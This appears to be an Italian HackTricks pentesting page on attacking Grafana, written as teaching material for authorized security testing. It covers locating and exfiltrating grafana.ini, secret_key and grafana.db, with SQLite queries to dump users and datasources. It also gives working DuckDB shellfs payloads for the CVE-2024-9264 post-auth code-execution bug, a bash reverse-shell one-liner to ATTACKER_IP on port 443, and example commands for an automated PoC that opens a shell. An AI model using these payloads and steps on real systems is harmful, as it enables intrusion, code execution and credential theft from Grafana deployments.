Grafana

Tip

Impara e pratica il hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Impara e pratica il hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Supporta HackTricks

Cose interessanti

  • La configurazione principale si trova di solito in /etc/grafana/grafana.ini (Deb/RPM) e può contenere valori sensibili come admin_user, admin_password, secret_key, OAuth settings, SMTP creds, e renderer tokens.
  • Per default Grafana memorizza i dati in SQLite3 sotto /var/lib/grafana/grafana.db.
  • I file di provisioning sono molto interessanti dopo aver ottenuto accesso all’host:
  • /etc/grafana/provisioning/datasources/*.yaml
  • /etc/grafana/provisioning/plugins/*.yaml
  • L’espansione delle variabili d’ambiente è supportata nei file di provisioning, quindi leaked YAML spesso rivela sia i segreti sia i nomi delle variabili d’ambiente che li supportano.
  • I plugin installati si trovano comunemente sotto /var/lib/grafana/plugins.
  • All’interno della piattaforma potresti invitare utenti, generare API keys / service account tokens, elencare i plugin, o installare nuovi plugin a seconda del ruolo.
  • Anche il browser è utile: Grafana espone la configurazione dei datasource non segreta al frontend. Se hai una sessione Viewer (o è abilitato l’anonymous access), ispeziona window.grafanaBootData dalle DevTools.

Useful SQLite checks:

.tables
.schema data_source
SELECT id,org_id,name,type,url,access,is_default,json_data FROM data_source;
SELECT id,org_id,uid,login,email,is_admin FROM user;
SELECT id,org_id,uid,name,slug FROM dashboard;

Esfiltrazione di origini dati e segreti

Grafana separa la configurazione leggibile dal browser dai segreti cifrati:

  • jsonData è visibile agli utenti nel browser ed è spesso sufficiente per enumerare host interni, tenant, modalità di autenticazione, nomi di header, regioni AWS, indici Elasticsearch, tenant Loki, URL Prometheus e dati di ricognizione simili.
  • secureJsonData è cifrato lato server e non è più leggibile dal browser dopo il salvataggio dell’origine dati.

Flusso di lavoro post-exploitation:

  1. Fare il dump di grafana.ini e recuperare secret_key.
  2. Esfiltrare grafana.db e i file di provisioning.
  3. Enumerare le origini dati e la configurazione dei plugin per trovare credenziali riutilizzabili e endpoint interni.
  4. Se si migra o si riproduce il database in un’altra istanza di Grafana, mantenere lo stesso secret_key altrimenti le password/token delle origini dati memorizzate non verranno decifrati correttamente.

Perché secret_key è importante nelle versioni più recenti:

  • A partire da Grafana v9, i segreti nel database utilizzano l’envelope encryption.
  • Grafana cripta i segreti con data encryption keys (DEKs), e quei DEKs vengono crittografati con una key encryption key (KEK) derivata da secret_key.
  • Dal punto di vista di un attaccante, grafana.db + secret_key è la coppia che vale la pena rubare.

Superficie di attacco dei plugin

Considera i plugin parte del bersaglio, non una nota a piè di pagina:

  • Enumerali dal filesystem, dall’UI, o dall’API:
curl -s http://grafana.target/api/plugins | jq '.[].id'
  • I plugin più vecchi o di terze parti spesso estendono l’ambito di Grafana nelle reti interne perché fungono da proxy per richieste HTTP o interagiscono con file locali/database.
  • Esempi recenti includono SSRF nel plugin Infinity (< 3.4.1) e percorsi di abuso in cui il plugin Image Renderer trasforma un altro bug in full-read SSRF.

CVE-2024-9264 – SQL Expressions (DuckDB shellfs) post-auth RCE / LFI

La funzionalità sperimentale SQL Expressions di Grafana può valutare query DuckDB che incorporano testo controllato dall’utente. Una sanitizzazione insufficiente permette a un attaccante di concatenare istruzioni DuckDB e caricare l’estensione community shellfs, che espone comandi di shell tramite file virtuali basati su pipe.

Impatto

  • Qualsiasi utente autenticato con ruolo VIEWER o superiore può ottenere l’esecuzione di codice come l’utente OS di Grafana (spesso grafana; a volte root all’interno di un container) oppure leggere file locali.
  • Precondizioni comunemente soddisfatte in deployment reali:
  • SQL Expressions abilitato: expressions.enabled = true
  • binario duckdb presente in PATH sul server

Controlli rapidi

  • Nella UI/API, esplora le impostazioni di amministrazione (Swagger: /swagger-ui, endpoint /api/admin/settings) per confermare:
  • expressions.enabled è true
  • Opzionale: versione, tipi di datasource e impostazioni generali di hardening
  • Shell sull’host: which duckdb deve risolversi per il percorso dell’exploit sotto.

Schema di query manuale usando DuckDB + shellfs

  • Flusso di abuso (2 query):
  1. Installare e caricare l’estensione shellfs, eseguire un comando, reindirizzare l’output combinato in un file temporaneo tramite pipe
  2. Leggere il file temporaneo con read_blob

Esempi di payload per SQL Expressions che vengono passati a DuckDB:

-- 1) Prepare shellfs and run command
SELECT 1; INSTALL shellfs FROM community; LOAD shellfs;
SELECT * FROM read_csv('CMD >/tmp/grafana_cmd_output 2>&1 |');
-- 2) Read the output back
SELECT content FROM read_blob('/tmp/grafana_cmd_output');

Sostituisci CMD con il comando desiderato. Per la lettura di file (LFI) puoi invece usare le DuckDB file functions per leggere file locali.

Esempio di one-liner reverse shell

bash -c "bash -i >& /dev/tcp/ATTACKER_IP/443 0>&1"

Incorpora questo come CMD nella prima query mentre hai un listener: nc -lnvp 443.

PoC automatizzata

Esempio d’uso

# Confirm execution context and UID
python3 CVE-2024-9264.py -u <USER> -p <PASS> -c id http://grafana.target
# Launch a reverse shell
python3 CVE-2024-9264.py -u <USER> -p <PASS> \
-c 'bash -c "bash -i >& /dev/tcp/ATTACKER_IP/443 0>&1"' \
http://grafana.target

Se l’output mostra uid=0(root), Grafana è in esecuzione come root (comune in alcuni container).

2025 client-side traversal / open redirect chain

La 2025 Grafana client-side traversal and open-redirect chain è già documentata in pagine più generiche relative al client-side. Usa quelle tecniche contro percorsi specifici di Grafana, come plugin assets, dashboard script loaders e token-rotation redirects:

Client Side Path Traversal

Open Redirect

Riferimenti

Tip

Impara e pratica il hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Impara e pratica il hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Supporta HackTricks